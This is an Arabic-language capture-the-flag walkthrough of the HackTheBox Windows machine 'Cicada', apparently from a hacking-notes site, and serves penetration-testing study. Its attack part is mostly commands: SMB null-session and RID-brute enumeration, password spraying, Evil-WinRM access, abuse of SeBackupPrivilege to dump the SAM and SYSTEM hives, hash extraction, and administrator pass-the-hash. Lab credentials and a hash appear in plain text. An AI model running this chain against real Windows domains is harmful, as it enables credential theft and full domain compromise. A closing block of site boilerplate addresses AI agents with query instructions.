> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md). # شرح Cicada HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * استطلاع SMB (RID-Brute) * تسرب المعلومات (وصف المستخدم) (netexec) * تصعيد الصلاحيات (SeBackupPrivilege) * استخراج SAM (pypykatz) * Pass-the-Hash (EvilWinRM) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** باستخدام الدالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (53.88,135,139.389,445,464,593,636,3268,3269,5985,5169)

فحص إصدارات المنافذ باستخدام Nmap: استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

### المنفذ 445 - SMB **قائمة SMB باستخدام smbmap** لسرد الموارد المشتركة بجلسة null: ```bash smbmap -H 10.10.11.35 -u 'null' ```

الـ **HR** يحتوي المجلد على ملف نصي مثير للاهتمام. نستعرض محتواه: ```bash smbmap -H 10.10.11.35 -u 'null' -r HR ```

**تنزيل الملف** نصل إلى المشاركة وننزّل الملف: ```bash smbclient //10.10.11.35/HR -N get "Notice from HR.txt" ```

يحتوي الملف على كلمة مرور * كلمة المرور: `Cicada$M6Corpb*@Lp#nZp!8`

## قائمة RID-Brute #### لتحديد مستخدمي النطاق، نطلق هجوم RID-Brute: ```bash crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute ``` > الـ `--rid-brute` يُستخدم هذا المعامل لتنفيذ /*/* هجوم بالقوة الغاشمة /*/* على **RID (المعرّفات المرتبطة)** المستخدمين في نطاق Windows. إن RID هو جزء من المعرّف الفريد للمستخدم في نظام Windows ويُستخدم عادةً لتحديد حسابات المستخدمين والمجموعات

إليك قائمة المستخدمين الذين تم العثور عليهم: ``` Administrator Guest krbtgt CICADA-DC$ john.smoulder sarah.dantelia michael.wrightson david.orelious emily.oscars ``` #### التحقق من المستخدم نختبر كلمة المرور التي عُثر عليها مع جميع المستخدمين: ```bash crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' ``` المستخدم **michael.wrightson** يستخدم هذه الكلمة المرور.

### المستخدم Michael: ### الاستطلاع باستخدام netexec نستخدم **michael.wrightson** بيانات الاعتماد لاستكشاف المزيد: ```bash netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users ```

يكشف هذا عن كلمة مرور المستخدم الصريحة **david.orelious**: * اسم المستخدم: `david.orelious` * كلمة المرور: `aRt$Lp#7t*VQ!3` /*/التحقق واستطلاع SMB باستخدام بيانات الاعتماد في //* **david.orelious** ### الانتقال إلى المستخدم David نُتحقق من بيانات اعتماد david.orelious باستخدام CrackMapExec: ```bash crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' ```

ثم نستكشف مشاركات SMB المتاحة على الهدف باستخدام smbmap: ```bash smbmap -H 10.10.11.35 -u david.orelious ```

ثم نتصل بالمشاركة DEV باستخدام smbclient: ```bash smbclient //10.10.11.35/DEV -U david.orelious ``` في هذه المشاركة نجد سكربتًا باسم backup/ script.ps1.

### الانتقال إلى المستخدم Emily ننزل السكربت backup/ script.ps1 باستخدام الأمر get ونكتشف معرّفات المستخدم emily.oscars * اسم المستخدم: emily.oscars * كلمة المرور: Q!3\@Lp#M6b/\*7t/\*Vt

نؤكد صحة هذه البيانات باستخدام CrackMapExec: ```bash crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ``` ثم نتصل بالجهاز باستخدام Evil-WinRM: ```bash evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ```

### الراية user.txt نستخرج العلم من ملف user.txt.

## تصعيد الامتيازات ### whoami /priv - SeBackupPrivilege {% embed url="" %} **التحقق من الصلاحيات** للبداية، لنتحقق من صلاحيات المستخدم الحالي. شغّل الأمر التالي للتحقق مما إذا كان المستخدم يملك `SeBackupPrivilege` الامتياز: ```bash whoami /priv ```

**تنزيل ملفات DLL اللازمة** لاستغلال هذه الصلاحيات، قم بتنزيل ملفات DLL إلى جهاز الضحية. وهي متاحة [هنا](https://github.com/giuliano108/SeBackupPrivilege). 1. **SeBackupPrivilegeCmdLets.dll** {% embed url="" %} 2. **SeBackupPrivilegeUtils.dll** {% embed url="" %} نزّل هذه الملفات إلى جهاز الضحية باستخدام الأوامر التالية ```powershell upload SeBackupPrivilegeCmdLets.dll upload SeBackupPrivilegeUtils.dll ```

**تحميل وحدات DLL** بعد تنزيل ملفات DLL، حمّلها في جلسة PowerShell باستخدام الأوامر التالية: ```powershell Import-Module ./SeBackupPrivilegeCmdLets.dll Import-Module ./SeBackupPrivilegeUtils.dll ``` **نسخ ملفات SAM وSYSTEM احتياطيًا** سنحفظ الآن `SAM` و `SYSTEM` الملفات التي تحتوي على معلومات تعريف المستخدم. استخدم الأوامر التالية لحفظها: ```powershell reg save hklm/sam sam reg save hklm/system system ```

**تنزيل ملفات SAM وSYSTEM** بعد حفظ الملفات، يمكنك تنزيلها إلى جهازك الافتراضي (VM) لفحصها: ```powershell download sam download system ```

### **استخراج الهاشات من ملف SAM** استخدم `samdump2` لاستخراج الهاشات من `SAM` و `SYSTEM` الملفات: ```bash samdump2 system sam ```

إذا لم يعمل هذا الأمر، يمكنك تجربة `pypykatz` لاستخراج الهاشات مباشرةً: ```bash pypykatz registry system --sam sam ```

ينبغي أن يوفر ذلك هاشًا صالحًا، على سبيل المثال: * الهاش: `2b87e7c93a3e8a0ea4a581937016f341` ### **تمرير التجزئة باستخدام Evil-WinRM** الآن بعد أن حصلت على الهاش، يمكنك استخدامه لتنفيذ هجوم "Pass-the-Hash" والاتصال بجهاز الهدف باستخدام `evil-winrm`: ```bash evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341 ```

### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.